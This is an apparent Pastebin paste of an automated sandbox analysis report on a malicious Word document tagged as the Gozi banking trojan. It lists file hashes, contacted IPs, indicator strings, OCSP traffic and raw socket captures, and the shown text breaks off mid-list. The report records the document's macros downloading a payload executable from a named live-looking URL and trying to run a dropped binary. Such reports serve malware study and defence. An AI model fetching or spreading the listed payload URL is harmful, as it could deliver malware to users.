API tools faq
paste
paladin316

Gozi_f77a7126c16e9c1ce83a0b2c824d7b7a_php_json.json

paladin316
Jun 19th, 2019
2,169
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 648.58 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Gozi_f77a7126c16e9c1ce83a0b2c824d7b7a.php"
  7. [*] File Size: 338003
  8. [*] File Type: "Microsoft Word 2007+"
  9. [*] SHA256: "946c712715c2bf0a837e2a86988b62d1d50db038da7adba22085df384b790dcf"
  10. [*] MD5: "f77a7126c16e9c1ce83a0b2c824d7b7a"
  11. [*] SHA1: "19e0565c1c9a42a10bac10408239143110da633d"
  12. [*] SHA512: "02dbf4d0a2ca2bd364ab3554fba0518652b77ce0be6b0f64627778065d26e9a225485bdc642e92e2aa1a2ba1d854dc02e798253968b2fbf2e6881c4baac28543"
  13. [*] CRC32: "C4A4ACFA"
  14. [*] SSDEEP: "6144:fj9UxSmZi94q0nnr+V3XUMUh16TWCe5qhJuSfkJ5NXQkAN:fj9UhZi94q0K5XUV+CCekhgS8J5NXt0"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE"
  18. ]
  19.  
  20. [*] Signatures Detected: [
  21. {
  22. "Description": "Attempts to connect to a dead IP:Port (12 unique times)",
  23. "Details": [
  24. {
  25. "IP": "52.109.20.1:443"
  26. },
  27. {
  28. "IP": "52.109.20.4:443"
  29. },
  30. {
  31. "IP": "65.52.98.231:443"
  32. },
  33. {
  34. "IP": "23.36.176.37:443"
  35. },
  36. {
  37. "IP": "23.101.123.81:80"
  38. },
  39. {
  40. "IP": "23.223.53.10:80"
  41. },
  42. {
  43. "IP": "23.96.39.148:443"
  44. },
  45. {
  46. "IP": "72.21.91.29:80"
  47. },
  48. {
  49. "IP": "104.115.144.95:443"
  50. },
  51. {
  52. "IP": "23.59.154.33:80"
  53. },
  54. {
  55. "IP": "192.35.177.64:80"
  56. },
  57. {
  58. "IP": "104.18.25.243:80"
  59. }
  60. ]
  61. },
  62. {
  63. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  64. "Details": [
  65. {
  66. "ioc": "chevronaccent.glox"
  67. },
  68. {
  69. "ioc": "ontent.inf"
  70. },
  71. {
  72. "ioc": "chicago.xsl"
  73. },
  74. {
  75. "ioc": "pictureorgchart.glox"
  76. },
  77. {
  78. "ioc": "architecture.glox"
  79. },
  80. {
  81. "ioc": "iso690nmerical.xsl"
  82. },
  83. {
  84. "ioc": "rocess.glox"
  85. },
  86. {
  87. "ioc": "harvardanglia2008officeonline.xsl"
  88. },
  89. {
  90. "ioc": "ext.glox"
  91. },
  92. {
  93. "ioc": "rid.glox"
  94. },
  95. {
  96. "ioc": "..3b"
  97. },
  98. {
  99. "ioc": "rings.glox"
  100. },
  101. {
  102. "ioc": "sist02.xsl"
  103. },
  104. {
  105. "ioc": "turabian.xsl"
  106. },
  107. {
  108. "ioc": "ccent.glox"
  109. },
  110. {
  111. "ioc": "quations.dotx"
  112. },
  113. {
  114. "ioc": "adial.glox"
  115. },
  116. {
  117. "ioc": "gosttitle.xsl"
  118. },
  119. {
  120. "ioc": "gb.xsl"
  121. },
  122. {
  123. "ioc": "mlaseventheditionofficeonline.xsl"
  124. },
  125. {
  126. "ioc": "nline.xsl"
  127. },
  128. {
  129. "ioc": "iso690.xsl"
  130. },
  131. {
  132. "ioc": "ist.glox"
  133. },
  134. {
  135. "ioc": "gostname.xsl"
  136. },
  137. {
  138. "ioc": "ieee2006officeonline.xsl"
  139. },
  140. {
  141. "ioc": "e.gu"
  142. },
  143. {
  144. "ioc": "rc.glox"
  145. },
  146. {
  147. "ioc": "asis.thmx"
  148. },
  149. {
  150. "ioc": "content.inf"
  151. },
  152. {
  153. "ioc": "rame.glox"
  154. },
  155. {
  156. "ioc": "anded.thmx"
  157. },
  158. {
  159. "ioc": "etropolitan.thmx"
  160. },
  161. {
  162. "ioc": "arallax.thmx"
  163. },
  164. {
  165. "ioc": "eadlines.thmx"
  166. },
  167. {
  168. "ioc": "erlin.thmx"
  169. },
  170. {
  171. "ioc": "adge.thmx"
  172. },
  173. {
  174. "ioc": "uotable.thmx"
  175. },
  176. {
  177. "ioc": "ype.thmx"
  178. },
  179. {
  180. "ioc": "avon.thmx"
  181. },
  182. {
  183. "ioc": "amask.thmx"
  184. },
  185. {
  186. "ioc": "roplet.thmx"
  187. },
  188. {
  189. "ioc": "esh.thmx"
  190. },
  191. {
  192. "ioc": "eathered.thmx"
  193. },
  194. {
  195. "ioc": "late.thmx"
  196. }
  197. ]
  198. },
  199. {
  200. "Description": "Performs some HTTP requests",
  201. "Details": [
  202. {
  203. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  204. },
  205. {
  206. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  207. },
  208. {
  209. "url": "http://apps.identrust.com/roots/dstrootcax3.p7c"
  210. },
  211. {
  212. "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
  213. },
  214. {
  215. "url": "http://storage.alfaeducation.mk/file/crypt_2_7000.exe"
  216. },
  217. {
  218. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  219. },
  220. {
  221. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  222. },
  223. {
  224. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D"
  225. },
  226. {
  227. "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D"
  228. },
  229. {
  230. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  231. },
  232. {
  233. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  234. },
  235. {
  236. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D"
  237. },
  238. {
  239. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D"
  240. },
  241. {
  242. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D"
  243. },
  244. {
  245. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D"
  246. },
  247. {
  248. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D"
  249. },
  250. {
  251. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D"
  252. },
  253. {
  254. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D"
  255. },
  256. {
  257. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D"
  258. },
  259. {
  260. "url": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D"
  261. },
  262. {
  263. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  264. },
  265. {
  266. "url": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D"
  267. },
  268. {
  269. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D"
  270. },
  271. {
  272. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D"
  273. },
  274. {
  275. "url": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D"
  276. },
  277. {
  278. "url": "http://redirector.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe"
  279. },
  280. {
  281. "url": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes"
  282. }
  283. ]
  284. },
  285. {
  286. "Description": "The office file has 2 macros.",
  287. "Details": []
  288. },
  289. {
  290. "Description": "Attempts to execute a binary from a dead or sinkholed URL",
  291. "Details": [
  292. {
  293. "dead_binary": "c:\\users\\public\\downloads\\fefjusf.exe"
  294. }
  295. ]
  296. },
  297. {
  298. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  299. "Details": [
  300. {
  301. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x07\\xee\\xab\\xb1\\xf1\\xd1y\\x9d\\xc6f\\xf7\\x9a\\xaamd\\x1e\\xafj\\x0e\\x05\\xf0*\\x8b\\xf8\\x18\\x15a_\\x06\\xff\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  302. },
  303. {
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9b\\xdbs\\xea\\xd7\\x98\\xdc\\xb2\\xd7\\xddt5\\xd4b\\x00\\xda\\xd0\\xa4v\\x8e\\xc2\\xd3\\xb5\\xf8\\xd6\\x87\\xab\\xa6\\x81\\x99^\\xcd\\xe4t\\xc3\\xbe2\\xca\\x93\\xfb/\\xb0\\xfb)d\\x15\\xff(1za\\xa5\\xff\\xe3\\x96dl\\x89\\x88\\xa8\\xfe\\xca\\xcd\\xc0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t@;\\x12\\xf72\\xe3\\xa9\\x82\\x82\\xe9\\xff\\xe2\\xbcej\\xdf\\xf8\\xc8\\xce\\xc9\\xdb\\xa2\\x93\\xf3\\xf3|\\x1c\\x93\\x91\\xd42\\xb0\\x07\\x9bk\\x0c\\x9f\\xca(\\xa7\\xb1\\x1d\\x95\\x83\\xf2\\xd9c"
  305. },
  306. {
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x07\\xee\\xacx9\\xa8\\x90\\x0ek\\xd9$\\xdf\\x92\\xb45\\xefn(\\xd5\\xf2\\pa\\xd7\\xff\\xae\\xbf\\x15\\x84\\xeak\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  308. },
  309. {
  310. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\ncache-control: max-age = 89056\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 mar 2019 18:30:24 gmt\r\nif-"
  311. },
  312. {
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04r\\x16c\\xb1s\\xb2c^\"1\\xfe\\xa1\\xe4\\xbe\\xea\\x00\\xa4\\xb5\\x8d\\x88y\\xc0\\xcb\\x12juy)\\x87\\xbe\\xbeg_\\xcd\n\\xeb\\x90+\\xe6\\x1f\\x18w\\xf6\"\\xc7\\xfc\\x06\\xeb\\xa4\n\\xc7\\x84\\xbd\\xbe\\xe9\\xb2\\xc7l%\\xe9o\\xb4\\x85z\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x85\\x86\\xb5\\xf3f\\xce\\xe1\\x19\\x98/~a\\xb6=\\xcd\r3\\xbf\\x17\\xd5z\\x06tbp\\xe2\\xe9\\xba\\x11\\x02)\\x0c\\x16\\xfc\\xf4\\x18\\xf5\\xd7n[=\\xf3\\x12y\\x8f\\x1d!\\x12"
  314. },
  315. {
  316. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xf9nl-1\\x95`\\x86m\\xc5\n\\x84\\x11\\x94\\xd9\\xf2o\\x0e%w\\xc1\\xd9s0\\x8e\\x85,\\x02(\\xa5\\x88\\x7fs\\x9c\\xc6w\\x83\\x92\\xb2+\\x99\\x98\\x95p\\xbd2\\xe2\\xd7fv\\xc9\\x8e\\xa5b\\x01-\\x94*\\xe3\\xd3\\xf5\\xad\\xb6(\\\\xc9u\\x98\\xf3hr\\x08g\\xf7|\\x86]u\\x92\\xe8&qh\\x87)\\xa2\n\\xa5o\"\\x1c\\x98\\x94p\\xdd\\x94\\xfe\\xa4\\x1e\\xe1\\xfb\\x81\\xbc\\x18s\\xc2\\xb6'j\\xcd\\xfa\\xcf\\xd02\\xbc\\x05-\\xea\\x07\\xbe\\x17\\xc5\\x94\\xff\\xe4\\xb5\\x04\\xe2\\xa7\\x1f\\xdc\\xbf\\x0f\\xb4\\xf6]\\x84\\x8at\\x93\\x87\\xe9\\x95`(\\xe6\\xe3l \\x18\\x19\\xf8\\xd6i\\xc9\\xea\\x10iy>\\xe4\\xdb\\x86\\x19\\xb2\\x06s\\x02\\xf5\\xca[$-\\x08\\x8c\\xdaz\\xbb\\xb7\\x10\\xbe4.\\x87c2u\\x1ef8\\xfe$w\\xbf\\xccq\\x98\\x8bxb\\x8d\\x9b\\xc5\\x9dw\\xfd*\\xdb&6\\x1f\\x9c\\xc1r\\xf8\\x87,\\x7f\\x82\\xdb \\x19\\x98\\xfbg\\x86\\x85`\\xb8'\\x8bz\\x8b&\\x9eq\\xf1x{t4m\r0\\x05\\x96\\xb5;\\xcd\\xad7"
  317. },
  318. {
  319. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  320. },
  321. {
  322. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xdb\\xc3\r!\\xf2|\\xc4{\\x9c\\x11}\\xc8p\\xa3\\x0b,au\\xae\\x80\\xddd\\xcb\\xf7x\\xef\\x8c\\x92:k\\xd8\\xban\\xb1\\xecj\\x14\\xdb\\xa5{\\xa2\\x10?\\x85\\xfd\\xaa\\x10\\xc7-\\x03\\xdfa\\xff\\xb6`\\x08>\\xf0.\\xe51\\xa2d\\x9a\\x07\\xcb\\xff\\x9bw\\x8e/\\x03\\xd9%d\\xd5\\x162ld\\xe7\\xab\\x0e\\xaa\\x1e\\x98\\xb2\\xf8e;\\x95\\x18j\\xa99d/\\xadlsjz\\xf5\\xca\\xef\\xca\\xd0\\x84\\xfb\\xba\\x85'\\x83+\\x7fw+\\x91\\x94-\\xef\\xc9\\x15;g\\xd6\\xaal\\xe9\\xber\\xd5-\\xcf\\xfd\\x13\\x181\\xa10\\xf3\\x1e\\x15g\\xfev;\\xe0\\xb7\\xe3\\x8eru\\xb9\\xd2\\x13\\x10t\\xfas\\x0f\\x8ac\\xba@\\xea\\xe2\\x16\\xbed\\x1a!c\\xffc\\xf5\\xb6iq\\x81g\\xec5\\x8f\\xb0\\xd7\\xa3b\\xcd\\xe5s\\xe7\\xa7\\xe6]\\xab\\x91\\x04\"e\\x1be\\x91occ\\x7f\\x1b\\xd0\tf\\\t\\xb4\\xb8x\\xd9u\\xd95\\x9bh\\xb6\\xc9h\\x84\\x1d\\x81*\\xb0j\\xf3k\\xaa\\x0b_=\\xd4\\x00\\xcb\\x08x\\x7f\\x83\\xae\\xb4\\xd7\\x00\\x7fw\\x19"
  323. },
  324. {
  325. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 1sq\\xd1\\xbed\\x8fr\\xb2\\xa1l\\xf0\n\\x11m.\\xcej<!`\\x1b\\x06\\x05\\xa7\\xd7\\xab\\x8e(o\\xcf%th\\x8d\\x11o\\xe7~7\\xa1p(\\xef\\x1b\\xf3t\\xc6\\xa4\\xf6\\xd5\\xb3'\\x06\\xe1\\xe3\\xb1\\xd3\\x8e\\x8b\\x7f\\xe4r\\xba\\x8c;\\xb5\\xde\\xb6\\x8btb?\\xfa,\\x86\\xf2m;\\x06\\x89,\\xfb\\x1e\\xeb \\xc5\\x12\\x9cjx\\xc8.s\\x18\\xc0\\x03\\xb1e\r\\x82t=j\\x98\nv\\xfd\\x02\\xd7a\\x0e\\xb0\\xd1zp\\x1emv\\xa6\\xb7g\\xdb\\xe6\\xa8\t\\xe2\\xed\\xffj\\x9c\\xe9\\xe7\\xccp\\xbe[\\xe2\\xb2\\x12\\x1cj%[\\xc6\\xc4\\xf7ps\\xe5h\\xd4yfct\\xa6\\xcb\r\\xad\\xc3\\xbe\\xb2g?\\xd9\\x85\\x04\\x16\\xf6i\\x82s2 \\xb8vf7:\\x14%j(\\xa2\\xe6\\x16\\x1d\\xfb\\xeb\\xb8k:x\\x04#\\x04 \\x17\\x85\\xd1\\x83/\\x06u\\x07w\\xbf\\xde!\\x98\\x87\\\\xd8a\\x96k\\xd8\\xaa\\xb0\\x02\\xe2\\xb09\\xd4\\x96\\x1b\\x1e\\xb5c\\xaf\\xe2\\xf5\\\\xce\\x84\\x80\\x92\\xf2d\\xc5\\x99f\\xf2t\\x01q\\xb4\\xd9\\xf5\\xe3"
  326. },
  327. {
  328. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00y\\x01\\x00\\x00u\\x03\\x01]\\x07\\xee\\xae$\\xcd\\xc5\\xb1qq\\x8e\\x94\\xaf\\xf6b\\xa7\\xb7{\\xc9pj\\xd7\\xd3\\xa1\\x8b\\x9d\\xc7\ra'\\xef\\x8c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x004\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1b\\x00\\x19\\x00\\x00\\x16crm.theberriesblog.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  329. },
  330. {
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x1cz\\xfb\\xaby\\xf1m\\x9a\\x9b=\\x90\\xb8\\xab\\xe9\\xfe\\x7f\\x86\\x82\\xf0\\xb5\\x0b\\x83u\\x0c\\x8e\\xc6,\\xc4\\xea}\\xdb\n\\xa7\\xdbb\\x0e/\\xc1\\x82\\x84evd\\xe77\\xe9\\x95e\\xc5\\x82>|b.\\xcd\\x0b\\xeec\\xb5\\xee\\xf0\\xdb\"\\xfed\\x08\\xd6o\\x18\\xbeh\\xcd\\xd4\\xe2b\\xb8\\x99\\xc9x\\g2\\xaf7\\xc9\\x83\\xeb;/u\\xd6\\x0f\\x0c7'\\xfcw\\xc36\\xa0\\xd7\\xbc\\x1e\\xdc\\xbfq)\\xd5\\xd1\\x11<y\\xd6\\x0e\\x1c\\x03@\\xccao\\xdcdk}\\xf3\\xf8\\xcd&\\xaa\\x9c\nx\\x0b_\nv\\x8f\\x1d\\xe0_\\x18 \\xe2j\\x85s\\p\\xb7e\\xbf\\x06\\xf3\\x19\\x92\\x9f\\x96\\xe8%8\\xde\\x01\\xc5\\xed\\x05\\xca\\xae\\x1a\\x84\\xce\n\\xbc\\xff\"\\x83\\xc3x\\xdccp\\xce\"\\x1b=q\\xb9=hvp\\xb1\\xf7\\x96\\x04\\xf3!\\xdfy~+vf\\x93\\x15\\xa3..\\xbb\\xce\\x81\\xdfo\\xc4q&\\xfb\\x9f\\xd5c\\xb9\\x17\\x99f\\xecqr'\\xf7\\xd2+\\xafz\\xdd\\xcf\\xa8\\xe7\\x027\\xa9\\xbbcz\\xd8\\xa9\\xfc"
  332. },
  333. {
  334. "http_request": "winword.exe_WSASend_get /roots/dstrootcax3.p7c http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: apps.identrust.com\r\n\r\n"
  335. },
  336. {
  337. "http_request": "winword.exe_WSASend_get /msdownload/update/v3/static/trustedr/en/authrootstl.cab http/1.1\r\ncache-control: max-age = 86402\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: fri, 22 feb 2019 16:53:13 gmt\r\nif-none-match: \"80e22c19cfcad41:0\"\r\nuser-agent: microsoft-cryptoap"
  338. },
  339. {
  340. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x00\\xf0\\x12\\xed\\x0c\\xbb#1\\x03t\\xe3%\\xf5\\x8e\\xb1\\\\x84\\xb6\\xcf:h\\xec\\xe0w\\xc2m\\x15x?\\x1f\\x8c\\x8c\\x1f\\x1b\\xfb\\xc5\\xf7d\\x0f\\x81j\\xde\\x00\\x94%%\\xd8\\xea\\xc0\\x14\\x9b\\xc5\\xe2\\xe3-\\xbd\\x84\\x81\\xc0\\x0b\\xaf'\\x02y\\xf4u\\xf9\\xd3d\\xb1\\x1e\\x94\\x01\\xfb\\x10\\xf7m\\xd9{\\xd2\\xa2j\\x8d\\xe9\\xae\\x17\\x1eb'\\xfc\\xd0d\\xe2x\\x1a\\xd3\\xc7f\t7\\xb9~\\x06\\xc4z~\\x999a\\xbb'\\xb4\\x7f\\rc\\x8dup\\xb8\\xae8}*\\xda\\x7f\\xc5{\\xc3\\xdd\\xae\\xbaf\\xdd\\xee\\xc4\\xc1\\x18\\x96\\x99e\\xe9\\x91pv\\x8ck\\xf7\\x06\\x04\\x932\r<\\xcd\\x973\\x94\\xd5\\x8f\\xb9|\\xc5\\x00b\\xac\\x8f\\xa3m\\x152\\x0b\\x8b\\x93\\x00\\x0e\\x11\\xc9\\xa5d\\xf6_3\\x9c\\xb1\\xb5\\xdcl\\x16\\xa0\\xa3\\xb8\\xcbh\\xdc\\x06\\xa52z\\x7f\\x87\\x9e\\xe2i\\xe2\\x08~\\x1c\\x85>l\\xe6\\xec\\x901\\xe2i\\x81n|d\\xfa\\xf7}]g_\\xbf\\x92\\x80\\x18\\xeb\\xcf\\xcb\\xba\\xcb\\xc1\\x0e\\xcen\\xa4\\xce"
  341. },
  342. {
  343. "http_request": "winword.exe_WSASend_get /file/crypt_2_7000.exe http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\naccept-language: en-us\r\nuser-agent: mozilla/4.0 (compatible; win32; winhttp.winhttprequest.5)\r\nhost: storage.alfaeducation.mk\r\n\r\n"
  344. },
  345. {
  346. "http_request": "winword.exe_WSASend_\\xc4\\x00/\\x00\\x98\\xdeb\\x08\\xd7\\xf7\\xe1\\xa5rmah\\xe0\t(:\\xf0\\x9d\\xae(%\\x08\\x7f\\x92)\\xach`*\\xfa\\x8d\\x87\\x81"
  347. },
  348. {
  349. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x07\\xee\\xba\\x9a6l\\xf1;z\n\\x83*\\xf4\\x85\\xfb\\xfe\\x12\\xc5\\xdb\\x01\\xb7\\x89\\xb9\\x88\\x99;\\xf4\\xeay\\x81\\xa7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  350. },
  351. {
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04]hx\\x91;vy1s\\xb87\\x17\\xfaxp\\xd5.\\x19|=x\\xc3\\x8c_\\x04\\xfc\\x9f\\x87\n\\xb5\\x81)di\\x01ga\\x0b\\xfc\\xbca\\xa2\\x9c.\\xcc\\xab'\\xdag\\xe8\no\\\n\\x87\\x87\\x1d\\xde\\x00\\x95,\\xfb\\x0ek\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8b\\xd7v\\xf5\\xde\\xf8\\xd5\\x16\\xd9\\xa7\\xa6\\xec\\x86}\\xca\\x98\\xc5ak\\xda\\xd5\\xaa\\x0c\\xfaf\\x1c\\xc9\\xfc\\xb1\\xd4\\x9c\\x19p'sk\\xc3\\x0f?v\\xb2xwd9\\xa9>\\xd3"
  353. },
  354. {
